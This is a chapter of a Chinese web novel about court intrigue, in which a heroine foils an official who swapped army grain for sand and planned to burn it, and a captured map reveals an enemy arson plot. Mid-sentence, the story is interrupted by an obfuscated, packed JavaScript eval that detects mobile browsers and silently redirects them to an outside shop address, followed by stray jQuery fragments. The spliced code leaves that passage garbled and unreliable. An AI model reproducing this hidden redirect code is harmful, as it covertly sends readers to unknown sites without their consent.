第九十四章:断了后路的运粮官

作品:《说好假成亲,权臣他上头了

    那一声嗤笑未落,一道寒芒已如白虹贯日,撕裂了雨幕。


    “铮——!”


    令人牙酸的金属切削声在大殿前回荡。


    群臣惊骇抬头,只见那根需两人合抱的汉白玉蟠龙柱,竟被生生削去了一角。


    石屑纷飞,砸在积水中,溅起一片浑浊的泥点。


    季舟漾手中的尚方宝剑尚未归鞘,剑锋微垂,雨水顺着血槽滑落,滴答作响。


    他没有回头去看那个出声的官员,只是盯着那截断裂的石柱,声音平稳得像是在谈论今日的天气:“此行北上,若粮草延误半个时辰,或因主帅决策失误致一人枉死,不用陛下动手。”


    他抬手,将长剑归鞘,发出清脆的一声撞击。


    “这一剑,便是季某全族的下场。”


    原本嘈杂的议论声像是被一只无形的大手瞬间掐断。


    季舟漾是首辅,更是掌控着大历朝半数赋税流水的“财神爷”,拿季氏满门的脑袋做保,这分量太重,重得压弯了所有试图在此刻借题发挥的脊梁。


    孟舒绾站在雨中,侧头看了一眼身旁这个男人的侧脸。


    雨水打湿了他的鬓角,水珠顺着冷硬的下颌线滚落进领口。


    她没有说话,只是紧了紧手中那柄尚方剑的剑柄,指腹摩挲过上面冰冷的云纹。


    无需多言。


    半个时辰后,户部西郊太仓。


    空气里弥漫着一股陈谷子特有的霉味,混合着暴雨带来的土腥气,熏得人脑仁发胀。


    “郡主见谅,实在不是下官办事不力。”户部侍郎何司礼手里捏着一方帕子,不住地擦拭额头上的汗,哪怕这库房里阴冷透骨,“前些日子连绵阴雨,这丁字库的顶棚漏了水,好些精米都受了潮。为了赶时间,下官只能先从陈粮里调拨一部分充数……”


    孟舒绾站在高耸的粮垛前,身上披着一件厚重的玄色大氅,手里捧着一碗刚熬好的姜汤。


    她没急着接话,只是低头吹了吹碗里浮着的姜片,热气氤氲了她的眉眼。


    喝了一口热汤,驱散了些许寒意,她才伸出一根手指,戳进了面前麻袋上的破口。


    米粒粗糙,颜色发灰,指尖稍一碾动,便能感觉到坚硬的颗粒感。


    不是米,是沙砾。


    掺了将近三成的沙石。这就是何司礼所谓的“充数”。


    孟舒绾抽出手指,若无其事地在帕子上擦了擦,嘴角甚至噙着一丝笑意:“何大人也是为了大局考虑,事急从权,我理会得。既然精米受潮,那便运这些吧,总比让前线将士饿肚子强。”


    何司礼眼中闪过一丝难以察觉的狂喜,随即换上一副痛心疾首的模样:“郡主深明大义!下官这就安排人装车,即刻送往通州码头!”


    看着何司礼匆匆离去的背影,孟舒绾将剩下的半碗姜汤递给身旁的雪雁,眼神一点点冷了下来。


    “让荣峥把东便门那边的路封死。”她低声吩咐,声音轻得只有雪雁能听见,“另外,告诉二掌柜,季家在城南那十八个私仓里的东西,现在可以动了。”


    没有人知道,在何司礼指挥着役夫将一车车“沙石粮”运出太仓的同时,另一支挂着“荣记布行”旗号的庞大车队,正借着雨势的掩护,悄无声息地汇入了前往码头的官道。


    通州码头,夜色如墨。


    雨势并未减小,反而随着江风愈发狂暴。


    何司礼站在一处避风的阁楼上,看着下方码头上忙碌的景象,嘴角勾起一抹阴毒的笑。


    只要这把火烧起来,什么沙石,什么陈粮,都会变成一堆死无对证的灰烬。


    到时候只需上报说遭遇雷击走水,再把责任推给那个女人监管不力……


    “动手。”他对着身后的阴影低喝一声。


    几道黑影如同鬼魅般窜出,手中火把在风雨中猎猎作响,直扑那些堆积如山的粮袋。


    然而,火把还未触及麻袋,几声凄厉的破空声骤然响起。


    “噗!噗!”


    **箭穿透皮肉的闷响在雨夜中格外清晰。


    那几个死士甚至没来得及惨叫,便栽倒在泥水里,手中的火把滚落,呲的一声熄灭。


    “谁?!”何司礼大惊失色,转身欲逃。


    一把冰凉的绣春刀横在了他的脖颈上。


    荣峥浑身湿透,像是一尊煞神般堵住了阁楼的出口。


    他身后,数百名黑甲卫早已将整个码头围得水泄不通。


    “何大人,这么好的粮食,烧了岂不可惜?”


    孟舒绾踩着湿滑的木梯缓缓走上阁楼。


    她手中提着一盏风灯,昏黄的光晕照亮了码头下方的情景——那些被割开的粮袋里,流淌出来的哪里是什么陈粮沙石,分明是白花花、圆滚滚的上等精米。


    “你……这不可能!我明明……”何司礼瞳孔剧烈收缩,脸色惨白如纸。


    “你明明装的是沙子,对吗?”孟舒绾将风灯挂在柱子上,语气平静,“何大人难道不知道,这通州码头上一半的脚夫,领的都是季家的工钱?早在半路,你的那些破烂货就已经被换下来填路基了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142110|195231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    荣峥一脚将何司礼踹翻在地,从一名被击杀的死士怀中搜出一个用油纸紧紧包裹的竹筒。


    “郡主,这是在领头那人身上发现的。”


    孟舒绾接过竹筒,倒出里面的一张薄如蝉翼的绢帛。


    绢帛上没有字,只有几条蜿蜒的红线和一个醒目的狼头标记。


    一直在楼下候命的孟承林被叫了上来。


    这位曾经的孟家军少将军,虽然腿脚微跛,但那双眼睛在看到绢帛的瞬间,迸发出了鹰隼般的光芒。


    他手指粗糙,指腹沿着那几条红线缓缓移动,眉头越锁越紧。


    “这不是进攻路线图。”孟承林的声音沙哑,带着一丝压抑的颤抖,“这是……风向标。”


    “风向?”孟舒绾不解。


    “你看这里。”孟承林指着图上一处看似不起眼的凹陷,“这里是野马坡,大历北境最大的**库就在这坡后的山谷里。现在是西北风季,若是敌军绕过白石岭,不攻城,而是派一队轻骑从野马坡上方纵火……”


    孟舒绾感觉后背窜上一股凉气。


    一旦**库殉爆,别说前线防御工事,就是方圆百里都会被夷为平地。


    北蛮这根本不是要打仗,是要屠绝!


    “距离最近的补给点到野马坡,急行军也要三天。”孟承林抬起头,目光死死盯着孟舒绾,“小妹,必须赶在他们之前截住这支奇兵。但我们的运粮队带着辎重,走不快。”


    “那就把辎重分批。”孟舒绾当机立断,转身看向下方黑压压的粮队,“精锐轻装先行,粮草随后。”


    雨还在下,车轮碾过泥泞的官道发出吱呀的呻吟。


    就在孟舒绾转身准备下楼整顿队伍时,她的目光无意间扫过了队伍末尾的一辆马车。


    负责押后的副将王齐正站在车旁,手里拿着一根马鞭,看似在催促士兵检查车轴。


    但他敲击车辕的节奏很奇怪,三长两短,且每一次敲击,他的眼神都会不自觉地往道路左侧那片茂密的芦苇荡里瞟一眼。


    孟舒绾脚步微微一顿。


    “怎么了?”荣峥立刻警觉。


    “没什么。”孟舒绾收回目光,手指却悄悄拢进了袖口,握住了那柄随身携带的短匕,“大概是雨太大,看花了眼。”


    她若是没记错,那个王齐是何司礼举荐上来的人。


    “出发。”


    孟舒绾翻身上马,这一路去往野马坡的山道崎岖难行,更别提这一路上,恐怕还有比风雨更难缠的“鬼”在等着。